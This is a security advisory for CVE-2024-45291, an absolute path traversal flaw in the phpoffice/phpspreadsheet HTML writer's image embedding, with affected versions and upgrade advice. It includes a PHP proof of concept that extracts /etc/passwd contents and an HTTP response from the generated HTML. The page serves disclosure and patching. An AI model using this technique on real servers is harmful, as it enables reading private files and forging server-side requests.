Absolute Path Traversal Affecting phpoffice/phpspreadsheet package, versions <1.29.2 >=2.0.0, <2.1.1 >=2.2.0, <2.3.0
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Test your applications- Snyk ID SNYK-PHP-PHPOFFICEPHPSPREADSHEET-8163662
- published 8 Oct 2024
- disclosed 7 Oct 2024
- credit Emil Virkki
Introduced: 7 Oct 2024
CVE-2024-45291 Open this link in a new tabHow to fix?
Upgrade phpoffice/phpspreadsheet to version 1.29.2, 2.1.1, 2.3.0 or higher.
Overview
phpoffice/phpspreadsheet is a Spreadsheet engine that Read, Create and Write Spreadsheet documents in PHP .
Affected versions of this package are vulnerable to Absolute Path Traversal via the HTML writer process when embedding images. An attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests by constructing an XLSX file that links images from arbitrary paths or URLs, which are then included in the output as data: URLs.
Note:
This is only exploitable if the $writer->setEmbedImages(true); setting is enabled.
PoC
<?php
require 'vendor/autoload.php';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->setEmbedImages(true);
$output = $writer->generateHTMLAll();
// The below is just for demo purposes
$pattern = '/data:;base64,(?<data>[^"]+)/i';
preg_match_all($pattern, $output, $matches);
print("*** /etc/passwd content: ***\n");
print(base64_decode($matches['data'][0]));
print("*** HTTP response content: ***\n");
print(base64_decode($matches['data'][1]));